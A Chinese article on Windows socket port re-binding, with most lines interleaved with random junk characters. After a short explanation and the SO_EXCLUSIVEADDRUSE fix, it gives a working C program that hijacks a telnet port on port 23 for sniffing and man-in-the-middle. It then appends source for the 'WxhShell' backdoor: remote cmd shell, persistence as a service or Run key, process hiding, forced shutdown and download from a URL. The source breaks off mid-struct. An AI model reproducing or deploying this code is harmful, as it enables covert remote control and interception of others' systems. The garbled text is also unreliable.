在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Azvj(j s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{U?/u93~
.|^L\L(! saddr.sin_family = AF_INET;
f]W$4f{ M>nplHq
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9dn~nnd'n a'u:1C^\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{&nL'R piIj
t 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=Y
Je\745 T}d%X MXq 这意味着什么?意味着可以进行如下的攻击:
LfOXgn\ 1O3"W;SR<: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
L9ECF;) i eQQ{iGJH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
M6l S2 aqJ>l}{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Teh
_ :ZX#w`Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`d]D=DtH -i*{8t 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
x8
: 8 :B(}Y4K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
V|[Y9<* g:<2yT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
n=Qz7N(M UP]X,H~stU #include
zr#n^?m #include
3"afrA #include
}\Kki #include
0*$? =E DWORD WINAPI ClientThread(LPVOID lpParam);
7HfA{.|m int main()
)vWI{Q]r {
Tk1U WORD wVersionRequested;
H|@R+ DWORD ret;
4'EC(NR7N WSADATA wsaData;
%*J'!PC9n BOOL val;
Y6<"_ SOCKADDR_IN saddr;
c*R?eLt/ SOCKADDR_IN scaddr;
EhJpJb[Z int err;
U&x)Q SOCKET s;
h|m>JDxn SOCKET sc;
V% -wZL/ int caddsize;
IbV 7} HANDLE mt;
SA3!a.*c DWORD tid;
!.\- l2f wVersionRequested = MAKEWORD( 2, 2 );
leY fF err = WSAStartup( wVersionRequested, &wsaData );
Y9^;TQ+# if ( err != 0 ) {
oW7\T!f printf("error!WSAStartup failed!\n");
En&`m return -1;
Iq/V[v }
R8"qDj saddr.sin_family = AF_INET;
2$S^3$k' ZP*(ZU@j=Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
d4(!9O.\ #21t8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4<c#3] saddr.sin_port = htons(23);
r*I u6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pXL@&]U+ {
b&iJui"7k printf("error!socket failed!\n");
/U1"P return -1;
~r%>x }
7|vB\[s val = TRUE;
LA\)B"{J //SO_REUSEADDR选项就是可以实现端口重绑定的
;Nfd if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@)hrj2Jw {
H6fR6Kr4j printf("error!setsockopt failed!\n");
i7 *cpNPO return -1;
.PAR }
m`3Mev //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
335\0~;3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xW hi> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
0/Q"~H?% 0qdgt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4pkTOQq_tQ {
vbn'CY]QU ret=GetLastError();
!X 8<;e}2 printf("error!bind failed!\n");
9gS.G2 return -1;
@ -g'BvS }
w
=MZi=p listen(s,2);
LEM^8G]O while(1)
utJz e {
VOmWRy"L caddsize = sizeof(scaddr);
,:G3 Y
) //接受连接请求
}zK/43Vx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_jhdqON6E if(sc!=INVALID_SOCKET)
9S_N*wC. {
MZ/PXY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
o{QU?H5h if(mt==NULL)
vU|.Gw {
W@:a3RJ printf("Thread Creat Failed!\n");
m{ya%F break;
fUJ\W"qya }
JW`Kh*,~< }
m4@f&6x CloseHandle(mt);
&;V3[
*W" }
+.p$Yi` closesocket(s);
$!msav WSACleanup();
e>oE{_e return 0;
INHN=KY{ }
c=-2c&=& DWORD WINAPI ClientThread(LPVOID lpParam)
N$jI&SI?} {
h/CF^0m"! SOCKET ss = (SOCKET)lpParam;
H$
sNp\[{ SOCKET sc;
a%wK[yVp unsigned char buf[4096];
B-OuBS,fwC SOCKADDR_IN saddr;
JKFV7{%Gl long num;
CwV1~@{- DWORD val;
tv_Cn
w DWORD ret;
E9Q?@' h //如果是隐藏端口应用的话,可以在此处加一些判断
K7x,> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-CTsB)=\, saddr.sin_family = AF_INET;
x%;Q
/7&$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
cZ"
Ut saddr.sin_port = htons(23);
L-ZJ[#D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Oc]&1>M {
\E'Nk$V3 printf("error!socket failed!\n");
Wu
71q= return -1;
WAj26";M( }
'9,14e6 val = 100;
'z#{'`$a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bW`@9 =E {
jH*+\:UP- ret = GetLastError();
$Xlyc.8YId return -1;
,u}n!quA }
/WDz;,X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`TkIyGr {
cVZCBcKC? ret = GetLastError();
]`D(/l' return -1;
ifu"e_^ }
!U"1ZsO)l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>4d2IO1\ {
xNNoB/DR printf("error!socket connect failed!\n");
,EgIH%*g closesocket(sc);
B[ f{Ys closesocket(ss);
yG0Wr=/<? return -1;
6(4o}Sv }
;8~`fK while(1)
kWfNgu$xK {
s z.(_{5! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@j$tpz //如果是嗅探内容的话,可以再此处进行内容分析和记录
IbpE@C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
KJa?TwnC num = recv(ss,buf,4096,0);
Z6&s 6MF if(num>0)
`07u}]d8 send(sc,buf,num,0);
ZkYc9!anY else if(num==0)
Rg&6J#h break;
#K7i<Bf num = recv(sc,buf,4096,0);
Ep}KIBBO if(num>0)
vd-`?/,|| send(ss,buf,num,0);
G'(
%8\ else if(num==0)
E{r_CR+8 break;
l;L&ijTQD }
$ 8w
eh3p closesocket(ss);
v&(X&q closesocket(sc);
|xH"Xvp: return 0 ;
qH6DZ| }
xIF
z@9+k gFJ&t^yL
OgrUP ==========================================================
0$,Ag;"^? ~}4o=O( 下边附上一个代码,,WXhSHELL
*&e+z-E !23W=N}82 ==========================================================
>"F~%D<. +D4Nu+~BSN #include "stdafx.h"
n/s!S & 3WJ> T1we #include <stdio.h>
MPO!qSS] #include <string.h>
q yy.3-( #include <windows.h>
g_]
u<8& #include <winsock2.h>
)+ Wr- Yay #include <winsvc.h>
xn@?CP`-y #include <urlmon.h>
yQhrPw> m !j4C:L3F #pragma comment (lib, "Ws2_32.lib")
~>D;2 S(a #pragma comment (lib, "urlmon.lib")
P,iLqat ru(Xeojv# #define MAX_USER 100 // 最大客户端连接数
c ~YD|l #define BUF_SOCK 200 // sock buffer
g$dL5N7 #define KEY_BUFF 255 // 输入 buffer
ItKwB+my $2>tfKhtA #define REBOOT 0 // 重启
FTCp3g #define SHUTDOWN 1 // 关机
'A!Dg ;y6Jo #define DEF_PORT 5000 // 监听端口
8t}=?:B+{ P
xpz7He #define REG_LEN 16 // 注册表键长度
S97.O@V!$ #define SVC_LEN 80 // NT服务名长度
4>Uo0NfL :v{$]wg // 从dll定义API
um#;S; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>Fx$Rty typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Cqg}dXn' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
OM!ES%c, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
f`A z8Dn<h // wxhshell配置信息
AV d struct WSCFG {
>w
j7Y` int ws_port; // 监听端口
gyCb\y+\a char ws_passstr[REG_LEN]; // 口令
tx5_e[ int ws_autoins; // 安装标记, 1=yes 0=no
CM5A-R90 char ws_regname[REG_LEN]; // 注册表键名
.[1A char ws_svcname[REG_LEN]; // 服务名
U%k e5uwP char ws_svcdisp[SVC_LEN]; // 服务显示名
kP;:s char ws_svcdesc[SVC_LEN]; // 服务描述信息
c_ygwO3.Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
n#J$=@ int ws_downexe; // 下载执行标记, 1=yes 0=no
#(aROTV5a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i+&="Z@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:-"J)^V y\0^c5} };
Z7.)[
; "E''ZBLO~ // default Wxhshell configuration
z%Z}vWn struct WSCFG wscfg={DEF_PORT,
G~B
V^ "xuhuanlingzhe",
sM5 w~R>Y 1,
/0o 2 "Wxhshell",
M0]l!x#7 "Wxhshell",
E0O{5YF^T "WxhShell Service",
X2@o"xU "Wrsky Windows CmdShell Service",
lZ)u4_ "Please Input Your Password: ",
:>3&"T. 1,
f2yv7t
T "
http://www.wrsky.com/wxhshell.exe",
{eZj[*P "Wxhshell.exe"
rXm!3E6JL };
M9&tys[ KX 'h=
>ej* // 消息定义模块
\pzvoj7{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w
x,; char *msg_ws_prompt="\n\r? for help\n\r#>";
n/|/Womr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/Hx0=I char *msg_ws_ext="\n\rExit.";
6op\g].P char *msg_ws_end="\n\rQuit.";
^_=0.:QaW char *msg_ws_boot="\n\rReboot...";
|Q I3H]T7 char *msg_ws_poff="\n\rShutdown...";
^@19cU?q char *msg_ws_down="\n\rSave to ";
P)\f\yb 8U(a&G6gn char *msg_ws_err="\n\rErr!";
f:UN~z'yr char *msg_ws_ok="\n\rOK!";
a<o0B{7{BM FN,uD:a char ExeFile[MAX_PATH];
qt:->yiq+ int nUser = 0;
\) #3S $L~ HANDLE handles[MAX_USER];
/Z@.;M int OsIsNt;
8/F2V?iT (gmB$pwS SERVICE_STATUS serviceStatus;
C {,d4KG SERVICE_STATUS_HANDLE hServiceStatusHandle;
j?mJ1J5 #[xNEC) // 函数声明
\c\=S int Install(void);
(\I =v". int Uninstall(void);
U^YPL,m1 int DownloadFile(char *sURL, SOCKET wsh);
Hb$q}1+y int Boot(int flag);
b;O+QRa void HideProc(void);
e5/_Vga int GetOsVer(void);
UetmO`qju int Wxhshell(SOCKET wsl);
8xv\Zj + void TalkWithClient(void *cs);
~k%\ LZ3s int CmdShell(SOCKET sock);
.)GVb<w int StartFromService(void);
{Eb6. int StartWxhshell(LPSTR lpCmdLine);
y5ExEXa -s 1VlS/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Y5 opZG VOID WINAPI NTServiceHandler( DWORD fdwControl );
z[rB/|2 W9D)QIqbvW // 数据结构和表定义
\wCL)t.cX SERVICE_TABLE_ENTRY DispatchTable[] =
4<Y?#bm' {
BdKwWgi+a {wscfg.ws_svcname, NTServiceMain},
pZjFpd| {NULL, NULL}
6GN'rVr!Z };
Ygl!fC
4b 9x1Dyz 2?F // 自我安装
|eqDT,4 int Install(void)
AK!G#ug {
?.s*)n char svExeFile[MAX_PATH];
)?WoLEjq HKEY key;
;4bu=<% strcpy(svExeFile,ExeFile);
E*l"uV Pla EI p // 如果是win9x系统,修改注册表设为自启动
hMQaT-v if(!OsIsNt) {
(`p(c;"*C! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z)B=<4r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
meWAm?8RI RegCloseKey(key);
;gyE5n-{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Vh8uE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WKf~K4BL> RegCloseKey(key);
k
y98/6 return 0;
8f.La }
2$91+N*w9 }
y)}aySQK^ }
TG9)x|! else {
{JgN^R<5<f L7- nPH // 如果是NT以上系统,安装为系统服务
t/Fe"T[,V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-,dQ&Qf? if (schSCManager!=0)
7'S] {
dc)Gk SC_HANDLE schService = CreateService
ob{pQx7 (
:m\KQ1sq schSCManager,
m
C Ge*V} wscfg.ws_svcname,
W<Lrfo&=Y] wscfg.ws_svcdisp,
K5SO($ SERVICE_ALL_ACCESS,
y#+o*(=fRE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
l+6(|"md SERVICE_AUTO_START,
8=~>B@' SERVICE_ERROR_NORMAL,
pQNFH)=nw svExeFile,
o1Ln7r. NULL,
3o>t~Sfi NULL,
Q-v[O4y~ NULL,
&[kgrRF@HU NULL,
%j@FZ
)a[ NULL
u$#7W>R );
.a*$WGb if (schService!=0)
PS6`o {
%5%Wo(W' CloseServiceHandle(schService);
N+5^h(~ CloseServiceHandle(schSCManager);
=f!M=D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
m+vEs,W. strcat(svExeFile,wscfg.ws_svcname);
lG9ARRy(= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L])w- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
n^N]iw{G RegCloseKey(key);
}=a4uCE return 0;
fP58$pwu }
5>)jNtZ }
k5D'RD CloseServiceHandle(schSCManager);
9#ft;c }
SWpUVZyd }
<q\)
o_tH de9l;zF return 1;
P-[K*/bPw }
j_@3a)[NY )1Nnn // 自我卸载
1i:g
/H int Uninstall(void)
m7vxzC* {
CDnz
&? HKEY key;
w9$8t9$| e"#D){k# if(!OsIsNt) {
;
,jLtl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8"mW!M RegDeleteValue(key,wscfg.ws_regname);
aG_ON0g RegCloseKey(key);
!m(L0YH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x9l0UD*+g RegDeleteValue(key,wscfg.ws_regname);
@T1+b"TC RegCloseKey(key);
xc.D!Iav return 0;
?i2Wst }
siYRRr }
2Fg t)`{! }
orH0M!OtS! else {
I0+wczW,^ d`uO7jlm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
%@n8
?l4 if (schSCManager!=0)
lk1Gs{(qhH {
wI@I(r~g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
P<!$A
if (schService!=0)
917 0bmr {
V}fKV6 v9 if(DeleteService(schService)!=0) {
QM_X2Ho CloseServiceHandle(schService);
wZ8 MhE CloseServiceHandle(schSCManager);
DnsP7k.8T return 0;
OP`Jc$|6 }
~+ s*\~ CloseServiceHandle(schService);
^y0C5Bl; }
zX [r CloseServiceHandle(schSCManager);
tQ/
#t<4D }
_T|H69 J }
`k]!6osZo `1bX.7K43 return 1;
[~c'|E8Q }
k\sM;bCv7 ``|RO[+2 // 从指定url下载文件
/CI%XocB int DownloadFile(char *sURL, SOCKET wsh)
AXP`,H {
N&^xq_ 9& HRESULT hr;
_gm?FxV: char seps[]= "/";
nt0\q'& char *token;
J4v0O=" char *file;
!\-4gr?`! char myURL[MAX_PATH];
xD GS`U char myFILE[MAX_PATH];
r}0C8(oq Np<s[dQ strcpy(myURL,sURL);
>$naTSJq token=strtok(myURL,seps);
]osx. while(token!=NULL)
kg:
uGP9 {
9Ue7
~"= file=token;
t'Eb#Nup3 token=strtok(NULL,seps);
m
io1kDq< }
g6VD_ %x}&=zx0*1 GetCurrentDirectory(MAX_PATH,myFILE);
)?B~64N,+ strcat(myFILE, "\\");
b-BM"~N' strcat(myFILE, file);
_+\:OB[Y send(wsh,myFILE,strlen(myFILE),0);
P}hY{y' send(wsh,"...",3,0);
4W!\4Va hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<r<Dmn|\a if(hr==S_OK)
&{zwM |Q@? return 0;
Wm)-zvNY; else
s~LZOPN return 1;
7Ai o`&^ ESD<8OR }
0L:V#y-* @A2/@]H Bm // 系统电源模块
*H5PT int Boot(int flag)
F?b'L
JS {
Y9i9Uc.] HANDLE hToken;
`10X5V@hP TOKEN_PRIVILEGES tkp;
QB/7/PW{H\ 3w/( /|0 if(OsIsNt) {
r(:
8!=~K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=[P%_v`` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
jby~AJf% tkp.PrivilegeCount = 1;
.pM
&jni Y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s(AJkO'` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k,,!P"" if(flag==REBOOT) {
-`!_h[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Vk-W8[W 7 return 0;
{sC@N![ }
Ap]4QqU else {
dD/t_ {h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
w"cM<Ewu return 0;
)=jT_?9b
}
f?%qUD_# }
Y*@|My`
else {
rIeM+h7W n if(flag==REBOOT) {
/Hv*K&}M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h?0F-6z return 0;
)A="eW_> }
Z-(} l2\ else {
`$S^E != if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
NW{y%Z return 0;
jg[5UTkcs }
j%p CuC&" }
aS,a_b] i?F[||O"$ return 1;
u_N\iCYp }
`Kh]x9Z J?Ck4dQ // win9x进程隐藏模块
Hqvc7 -c6 void HideProc(void)
0 Tcz[$? {
q@w{c= ^:qD .h>& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5k69F if ( hKernel != NULL )
i{8]'fM {
E;6~RM: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Sv7 i! j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?VB#GJ0M9 FreeLibrary(hKernel);
DU;[btK> }
\a"i7Caa VCjq3/[_ return;
RI-A"cc6A }
k({2yc#RD& AHwG<k // 获取操作系统版本
8O6_iGTBh int GetOsVer(void)
U^[< {
R'SBd}1 OSVERSIONINFO winfo;
u?F (1iN= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Y+g,pX GetVersionEx(&winfo);
9`B0fv Q& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eOt%x Tx return 1;
SBTPTb else
D9.`hs0 return 0;
vQ 4}WtvA }
1HhX/fpq 5SUN.%y // 客户端句柄模块
9RQU? int Wxhshell(SOCKET wsl)
bni)Qw {
PL@~Ys0 SOCKET wsh;
NPm; struct sockaddr_in client;
zOB !(R DWORD myID;
_.{zpF=j O~ 27/ while(nUser<MAX_USER)
;WD,x:>blO {
1"?]= j: int nSize=sizeof(client);
#--olEj! wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>GXXjAIu/ if(wsh==INVALID_SOCKET) return 1;
"(,2L,Zh .k@^KY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yHNuU)Ft if(handles[nUser]==0)
8Atq,GcG closesocket(wsh);
:=<0=JE# else
CvK3H\.&;k nUser++;
abi[jxCG }
U\jb" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
vT c7an6fy +@ MPQv return 0;
D`pQ7 }
nA_%2F'W} uvnI>gv // 关闭 socket
byGn,m void CloseIt(SOCKET wsh)
XA<ozq' {
nBz`q+V closesocket(wsh);
*%!M4& nUser--;
NF+<#*1 ExitThread(0);
{6*#3m
Kk }
=gjDCx$| 83 I-X95 // 客户端请求句柄
M:|8]y@ void TalkWithClient(void *cs)
ez\eOH6 {
6e&$l- icgJ;Q 5 SOCKET wsh=(SOCKET)cs;
c2 A ps char pwd[SVC_LEN];
E{y1S\7K char cmd[KEY_BUFF];
<T+!V-Pj* char chr[1];
z.oU4c int i,j;
/_t|Dry015 :Q_3hK while (nUser < MAX_USER) {
iWA|8$u4gm F~HRME;Z if(wscfg.ws_passstr) {
TL0[@rr4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ez+Z[*C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n~.*1. P //ZeroMemory(pwd,KEY_BUFF);
,Na^%A@TJ i=0;
+=BAslk while(i<SVC_LEN) {
'cBBt mi,&0xDea // 设置超时
Z=?aEU$7 fd_set FdRead;
>C r\y struct timeval TimeOut;
s?rBE.g@} FD_ZERO(&FdRead);
}V]R+%:w@ FD_SET(wsh,&FdRead);
4J0Rvod_ TimeOut.tv_sec=8;
Hfym30 TimeOut.tv_usec=0;
#_i`#d) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-/P\"c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
7f{=w,
U (R!hj w~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
5!X1G8h)uy pwd
=chr[0]; T-_"|-k}P%
if(chr[0]==0xd || chr[0]==0xa) { @?
c2)0
pwd=0; bBc[bc>R
break; NZ0O,}m
} )%d*3\Tsd
i++; k8AW6oO/i
} Pe;Y1Qq>>
_hu")os
// 如果是非法用户,关闭 socket u #w29Pm
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eW J`$"z
} ml`8HXK0
Jl3g{a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A/7{oB:a
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); **3 z;58i
Gh.[dF?
while(1) { )3Z ^h<"j
Z;/$niY
ZeroMemory(cmd,KEY_BUFF); _tTN G2
0'YG6(h
// 自动支持客户端 telnet标准 :a
->0 l
j=0; aFz5leD
while(j<KEY_BUFF) { R_XR4)(<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,'xYlH3s
cmd[j]=chr[0]; R\@/U=iqR
if(chr[0]==0xa || chr[0]==0xd) { 1i[FY?6`dh
cmd[j]=0; fk1ASV<rN
break; E:9"cxx
} ?T9(Vw
j++; nD5 gP
} n!p<A.O7@
.Asv%p[W
// 下载文件 )E@A0 W
if(strstr(cmd,"http://")) { -gSUjP
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x=ul&|^7D
if(DownloadFile(cmd,wsh)) [<DZ*|+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X.hm s?]
else CC#;c1t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L#E]
BY
} yKYTi3_(
else { DxUKUE
WI?oSE w
switch(cmd[0]) { 4"gM<z
ne4Q#P
// 帮助 ;\f gF@
case '?': { T:5fc2Ngv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cSXwYZDx?
break; (p2K36,9m
} ^h69Kr#d4
// 安装 N5a*7EJv+
case 'i': { N[s}qmPha
if(Install()) vI>>\.ED
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6
J{k(H$3
else E[/\7v\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); spt6]"Ni
break; 28 ?\
} j'A_'g'^
// 卸载 z^'gx@YD*v
case 'r': { Z'"tB/=W
if(Uninstall()) 0u;4%}pD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <StN%2WQ1
else z6*X%6,8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,6-:VIHQ
break; Tj:B!>>
} #"@|f
// 显示 wxhshell 所在路径 HMSO=)@+
case 'p': { G"h'_7
char svExeFile[MAX_PATH]; ZrsBm_Rx
strcpy(svExeFile,"\n\r");
OX\A|$GS
strcat(svExeFile,ExeFile); kqFP)!37
send(wsh,svExeFile,strlen(svExeFile),0); wB.&}p9p
break; f&Gt|
} .yz}ROmN^
// 重启 >CHrg]9
case 'b': { &L=suDe
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D]zwl@sRX:
if(Boot(REBOOT)) <0Xf9a8>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>[u `
else { gEy?s8_,
closesocket(wsh); ,U2*FZ["
ExitThread(0); 16=sij%A
} RoPRQCE
break; 8Vr%n2M
} 6 (]Dh;gC
// 关机 \NPmym_6J
case 'd': { ]'&LGA`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !LNayk's>
if(Boot(SHUTDOWN)) ].-1v5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uXn1
'K<'2
else { y
[}.yyye
closesocket(wsh); 0XE4<U
ExitThread(0); u_oaebOrpP
} -|$@-fY;
break; La`N PY_:>
} C5o#i*|
// 获取shell (A9Fhun
case 's': { *4\:8
CmdShell(wsh); ~vm%6CABM
closesocket(wsh); =$'6(aDH
ExitThread(0); >mwlsL~X
break; )_HA>o_?C:
} j#!IuH\]
// 退出 u^^[Q2LDU}
case 'x': { M?1Y,5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y%"{I7!A
CloseIt(wsh); %O|iE M
break; ~Y^+M*
} XO.jl" xu
// 离开 \ 2M_\Q`NY
case 'q': { n(1l}TJy
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <FV1Wz
closesocket(wsh); ?gA 8x
WSACleanup(); jys :5P
exit(1); L+b6!2O,
break; $*^7iT4q_t
} f\|w'
} o_izl\
} 1+_`^|eK
5TH~.^`Fi
// 提示信息 cuax;0{%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 P l
} KI"#f$2&
} `KZm0d{H
d[iQ`YW5
return; z O-z%y
} S|Q@:r"
rDdoOb]B
// shell模块句柄 }7b%HTF=
int CmdShell(SOCKET sock) ROH|PKb7
{ )3cAQ'w
STARTUPINFO si; j*|VctM
ZeroMemory(&si,sizeof(si)); yuh *
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E^B'4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N=V==Dbu-
PROCESS_INFORMATION ProcessInfo; A#e%^{q$
char cmdline[]="cmd"; 9)l$ aBa
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0_jf/an,%
return 0; y6g&Y.:o
} k$n|*kCh
j
*
%
// 自身启动模式 1.}d.t
int StartFromService(void) \;,_S+Fz8
{ z<MsKD0Q
typedef struct p?02C#p
{ lov!o:dJ
DWORD ExitStatus; eb?x9h
DWORD PebBaseAddress; xB@ T|EP
DWORD AffinityMask; >R'F,
DWORD BasePriority; P9R9(quI
